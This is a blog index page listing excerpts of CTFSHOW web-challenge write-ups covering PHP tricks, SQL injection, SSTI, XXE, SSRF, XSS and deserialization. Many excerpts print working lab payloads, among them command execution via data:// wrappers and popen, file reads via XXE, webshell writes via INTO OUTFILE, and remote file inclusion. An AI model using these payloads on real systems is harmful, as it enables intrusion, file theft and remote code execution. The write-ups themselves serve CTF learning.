
CTFSHOW web入门系列
文章平均质量分 80
CTFSHOW web入门系列
yu22x
什么都想学,什么都不会。
展开
-
CTFSHOW web入门 java反序列化篇 web855
ctfshow java反序列化原创 2022-12-13 15:47:14 · 2287 阅读 · 2 评论 -
CTFSHOW web入门 java反序列化篇(更新中)
ctfshow web入门 java反序列化篇原创 2022-12-07 15:59:42 · 5681 阅读 · 3 评论 -
CTFSHOW php-cve篇
web311CVE-2019-11043参考文章工具下载地址https://github.com/neex/phuip-fpizdam ,需要有go环境go环境安装地址https://golang.google.cn/dl/安装的过程很恶心,会timeout。捣鼓了一两个小时才弄好。具体步骤如下$GOPATH是go安装的目录,记得改成自己的mkdir -p $GOPATH/src/golang.org/x/cd $GOPATH/src/golang.org/x/git clone http原创 2020-12-21 13:59:14 · 1979 阅读 · 2 评论 -
ctfshow web入门 命令执行部分 (37-40)
39限制了后缀,我们可以试试伪协议,以为不能带有flag,所以filter协议和php://input也不好用了。最后试了试data协议,发现成功了。payload c=data:text/plain,<?php system('cat f*')?>这样就相当于执行了php语句<?php system('cat f*')?>.php因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。40这个题可能是出题人把英文括号打成原创 2020-09-05 17:38:17 · 5311 阅读 · 2 评论 -
ctfshow web入门 命令执行部分(32-36)
以下目测均为非预期32这个题过滤了空格属实有点难受,php中不用括号的有echo include等过滤了分号可以用?>绕过。尝试了以下,发现 include"/etc/passwd"?>可以执行成功。再去想下没有过滤$,我们可以用$_POST[1]呀include"\$_POST[1]"?>然后post传参1=/etc/passwd执行成功。还有一个问题include包含php文件不会在页面显示出来,灵机一动,伪协议呀!完美33payload?c=include$_POST原创 2020-09-05 17:38:32 · 3515 阅读 · 7 评论 -
CTFSHOW 代码审计篇
文章目录web301web302web303web304web305web306web307web308web309web310web301下载下来源码,发现checklogin.php里面的sql语句没有任何的过滤。所以直接注入就可以了。用sqlmap跑了下得到用户名密码 admin ctfshowwwww登陆进去就有flagpython sqlmap.py -u http://e62c174a-c4d4-4a58-a392-a41bfca926ee.chall.ctf.show/checkl原创 2020-12-19 09:01:07 · 4660 阅读 · 4 评论 -
CTFSHOW PHP特性篇(中篇 111-131)
web111function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1);}if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*原创 2020-10-21 10:59:59 · 5079 阅读 · 4 评论 -
CTFSHOW文件上传篇
151绕过前端验证方法1:直接关闭浏览器的js方法2:上传.png(没错,只能是png,gif和jpg都不行)文件然后bp抓包后修改后缀152原创 2020-11-19 18:13:41 · 9457 阅读 · 5 评论 -
CTFSHOW PHP特性篇(上篇 89-110)
web89if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; }}考察点:数组绕过正则表达式官方文档中如下介绍返回值返回完整匹配次数(可能是0),或者如果发生错误返回FALSE。也就是说如果我们不按规定传一个字符串,原创 2020-10-21 10:59:37 · 6018 阅读 · 1 评论 -
CTFSHOW 反序列化篇
web254没搞懂和反序列化有啥关系,直接传username=xxxxxx&password=xxxxxx出flagweb255请求包内容如下首先get传的username和password都是xxxxxx因为源码里面$user = unserialize($_COOKIE['user']);$user->login($username,$password);就是是说我们需要让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是tr原创 2020-12-11 19:23:05 · 11025 阅读 · 1 评论 -
CTFSHOW PHP特性篇 (下篇132-150)
web132if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x原创 2020-10-21 17:51:58 · 5066 阅读 · 0 评论 -
CTFSHOW JAVA篇
WEB279-294 296-297脚本通杀 下载 下载链接:https://pan.baidu.com/s/19yr0tWbG1UU_ULjEan5ttQ 提取码:bn71具体用法在md文件中,例如检测python Struts2Scan.py -u http://94c4c47e-4fb3-408c-97d7-56a5094f84a7.chall.ctf.show/S2-001/login.action利用python Struts2Scan.py -u http://94c4c47e-4f原创 2020-12-17 15:26:14 · 3901 阅读 · 3 评论 -
ctfshow web入门58-77绕过disable function
该系列为php中绕过disable function的题目下文中写的过xxx(65之前的)表示此题及此题之前的都可以过通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)函数:copy()rename()用法:copy("flag.php","flag.txt"); //过60rename("flag.php","flag.txt"); //过60单一函数读文件内容:函数:file_get_contents()r原创 2020-09-17 12:07:56 · 2485 阅读 · 6 评论 -
ctfshow web入门 命令执行部分(29-31)
大佬请自行忽略讲解部分,讲解针对新手。知识点源自payload的构造。大部分flag需要右键查看源码获得29知识点:通配符payload:c=system('cat f*');在linux系统中 有一些通配符* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0[abcd] 匹配abcd中任何一个字符[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls fil原创 2020-09-05 17:37:59 · 2337 阅读 · 0 评论 -
ctfshow web入门 web41
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。生成可用字符的集合<?php$myfile = fopen("rce_or.txt", "w");$contents="";for ($i=0; $i < 256; $i++原创 2020-09-13 23:08:37 · 14781 阅读 · 1 评论 -
CTFSHOW xxe篇
web373payload<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///flag">]><yu22x><ctfshow>&xxe;</ctfshow></yu22x>web374、375、376payload<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64原创 2021-01-11 15:01:38 · 3438 阅读 · 8 评论 -
CTFSHOW其他篇
web396、397、398、399、400、401url=http://1/1;echo `ls`>a.txturl=http://1/1;echo `cat fl0g.php`>a.txtweb402payload:url=file://1/1;echo `cat fl0g.php`>a.txtweb403url=http://127.0.0.1/1;echo `cat fl0g.php`>a.txt原创 2021-02-05 14:52:15 · 2887 阅读 · 3 评论 -
CTFSHOW jwt篇
可以先了解下jwtjwt由三部分组成header、payload、signatureheader示例{ 'typ': 'JWT', 'alg': 'HS256'}payload示例{ "sub": "1234567890", "name": "John Doe"}signaturejwt的第三部分是一个签证信息,这个签证信息由三部分组成:header (base64编码)payload (base64编码)secret(密钥)这个部分需要base64加密后的he原创 2020-12-30 16:51:42 · 6066 阅读 · 2 评论 -
CTFSHOW黑盒测试篇
文章目录web380web381web382、383web384web385web386web387388web389web390web391web392web393web380payload后台目录扫描发现page.php,什么,没有扫到,那就自己添加到扫描器的字典里吧。page.php?id=flagweb381payload地址在源码里面web382、383还是上面的地址,万能密码登录得到flagweb384字典生成import strings1=string.asci原创 2021-01-15 18:26:26 · 2181 阅读 · 1 评论 -
CTFSHOW xss篇
web316xss平台 https://xss.pt/xss.php创建项目选择默认模块一直下一步,然后随便那个代码放到题目输入框中再刷新下题目最后看下项目结束原创 2020-12-28 12:56:25 · 9570 阅读 · 12 评论 -
CTFSHOW nodejs篇
web334在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。所以用ctfſhow 123456登录就可以出flag了web335require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()web336require( 'child_process' ).spawnSync( 'ls原创 2021-02-18 22:01:31 · 7285 阅读 · 8 评论 -
CTFSHOW SSTI篇
文章目录web361web362web363web364web365web366、367web368web369web370web371web372建议大家先看下笔者之前写的模板注入的文章web361payloadname={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}web362payload?name={{x.__init__.__glo原创 2021-01-08 11:03:21 · 6546 阅读 · 13 评论 -
CTFSHOW SSRF篇
了前八道题,因为题目上的比较匆忙,提前做下就当测试题目了。web351存在一个flag.php页面,访问会返回不是本地用户的消息,那肯定是要让我们以本地用户去访问127.0.0.1/flag.phppayload:url=http://127.0.0.1/flag.phpweb352过滤了localhost和127.0.0。还是有很多方法的,比如127.0.1 、127.1、 127。0.0.1 或者转成16进制 2进制转进制的地址https://tool.520101.com/wangluo/原创 2021-01-05 13:43:06 · 4678 阅读 · 4 评论 -
CTFSHOW中期测评486-509(持续更新中)
web486扫描后台发现flag.php,根据url发现存在文件包含,templates/xxx.php所以只需要action=…/flag即可payload:index.php?action=../flagweb487原创 2021-03-30 21:22:56 · 1814 阅读 · 1 评论 -
ctfshow ThinkPHP篇575
web575给了源码$user= unserialize(base64_decode(cookie('user')));if(!$user || $user->id!==$id){ $user = M('Users'); $user->find(intval($id)); cookie('user',base64_encode(serialize($user->data())));}$this->show($user->username);}首先引起注意的原创 2021-08-05 18:05:25 · 884 阅读 · 2 评论 -
ctfshow ThinkPHP篇573
web573thinkphp 3.2.3sql注入漏洞源代码class IndexController extends Controller { public function index(){ $a=M('xxx'); //表名 $id=I('GET.id'); $b=$a->find($id); var_dump($b); }}来调试一下看为什么普通的注入不行。本地sql表内数据如下。传入?id=1'首先在I函数里面有个过滤,调用原创 2021-08-05 18:04:47 · 1022 阅读 · 0 评论 -
CTFSHOW web入门 文件包含篇
文章目录web78web79web80web81web82-86web87web88web116web117web78filter伪协议payloadfile=php://filter/convert.base64-encode/resource=flag.php解码后得到flagweb79data伪协议payloadfile=data://text/plain,<?=`tac f*`;?>web80远程文件包含xxx为自己服务器地址?file=http://xxxx原创 2021-04-28 09:50:07 · 3915 阅读 · 1 评论 -
ctfshow ThinkPHP篇—3.2.3(569-578)
文章目录web569相关内容题解web570web571web572web573web574web575web576web577web578web569相关内容参考thinkphp手册为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式。PATHINFO模式http://localhost/index.php/Home/Index/index/name/123/普通模式http://localhost/index.php?m=Home&c=Index&a原创 2021-08-05 18:06:22 · 2229 阅读 · 4 评论 -
ctfshow终极考核web655-web665
web655打开/etc/host得到内网地址,遍历一遍发现.5的存活e后台扫描发现有phpinfo.php www.zip robots.txt访问phpinfo.php直接拿到flagflag_655=ctfshow{aada21bce99ddeab20020ac714686303}create function sys_eval returns string soname ‘b.so’;select sys_eval(‘whoami’);web656提示xss,审计index.php原创 2022-01-03 20:56:40 · 1692 阅读 · 10 评论 -
ctfshow终极考核(一键通关脚本)
import requestsimport reimport timeimport base64import urlliburl="http://f1439852-cccf-43e8-a496-fdfe1c9eebd9.challenge.ctf.show/"sess=requests.session()#web640print(re.findall('flag.*?=ctfshow{.*?}',requests.get(url).text)[0])#web641print(sess.原创 2022-01-03 20:58:45 · 3092 阅读 · 10 评论 -
ctfshow终极考核web640-web653
ctfshow终极考核web640直接给了web641在请求头中web642web643通过网络测试功能调用ls命令看到secret.txt,访问后url解码得到flagweb644首页css中存在路径访问后跳转到登录界面查看js得到flag以及登录的密码(0x36d)web645备份功能下载下来后可以看到flag...原创 2022-01-03 20:56:26 · 1597 阅读 · 0 评论 -
ctfshow终极考核 web66⑥-web669
配合脚本学习效果更好web666可以先看下668先通过js rce ,然后又拿的flag,flag在数据库中web667扫描端口可以找到3000端口flag_667=ctfshow{503a075560764e3d116436ab73d7a560}web668通过jade原型链污染写入一个nodejs,并且运行jade原型链污染可以看下这篇文章https://blog.youkuaiyun.com/miuzzx/article/details/111780832写入的nodejs内容如下var原创 2022-01-03 20:58:33 · 1405 阅读 · 0 评论 -
CTFSHOW大赛原题篇(web741-web755)
因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。文章目录web741web742web743web744web745web750web782web785web786web787web788web789web741ssrf绕过url=http://0.0.0.0:8080/flagweb742web743a[]=1&b[]=2&c[]=1&d[]=2web744<?phpclass ctfshowCURL{ private $url="file:/原创 2022-02-28 16:25:11 · 934 阅读 · 2 评论 -
CTFSHOW SQL注入篇(191-210)
ctfshow sql篇原创 2022-06-07 17:11:59 · 1374 阅读 · 0 评论 -
CTFSHOW大赛原题篇(web680-web695)
CTFSHOW大赛原题篇web680code=phpinfo();先看下disable_function,有一堆过滤。并且open_basedir做了目录限制。r然后看下当前目录下的文件code=var_dump(scandir("."));发现一个文件secret_you_never_know直接访问就拿到flag了 。。。。。。(大无语)web681登录的时候抓个包,比如我们传name=123会返回sql语句select count(*) from ctfshow_users whe原创 2022-02-23 09:34:28 · 2817 阅读 · 3 评论 -
CTFSHOW大赛原题篇(web726-web740)
web726username=;eval($_POST[1]);phpinfo();//username=%00同之前的web692web727自增绕过$_=[];$_=$_.'';$_=$_[';'=='$'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;原创 2022-02-27 19:38:34 · 1108 阅读 · 0 评论 -
CTFSHOW大赛原题篇(web711-web725)
文章目录web711web712web713web782web785web786web787web788web789web711扫描目录发现存在robots.txt,提示static/secretkey.txt访问得到一串字符串ctfshow_love_you然后进入正常的页面,有个登录和注册,随便注册个用户并且登录后,发现存在文件上传点。但是上传php后缀的文件不解析,应该不是php写的了。看下session,应该是一个jwt加密的。那就好说了,伪造一个admin用户,而且加密的秘钥应该就是刚原创 2022-02-27 19:14:12 · 4209 阅读 · 0 评论 -
CTFSHOW 常用姿势篇(801-810)
CTFSHOW 常用姿势篇群主在视频里面已经讲解的很清楚了,下面内容有些简略,就当补充下payload了。文章目录CTFSHOW 常用姿势篇web801web802web803web804web805web806web807web808web809web809web801非预期解:直接读flag /file?filename=/flag预期解:计算PIN码新版的计算方式发生了一些变化probably_public_bits包含4个字段,分别为usernamemodnamegetattr原创 2022-04-08 14:07:05 · 3633 阅读 · 2 评论 -
CTFSHOW SQL注入篇(171-190)
无过滤前言下面几道无过滤的题都可以写入shell 然后蚁剑连上后从数据库里面找,具体做法如下id=0' union select 1,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"有的是查询的三项所以payload是id=0' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"接着原创 2022-06-07 14:00:24 · 2861 阅读 · 0 评论 -
CTFSHOW 常用姿势篇(821-831)
ctfshow 常用姿势篇原创 2022-06-09 09:45:37 · 1854 阅读 · 0 评论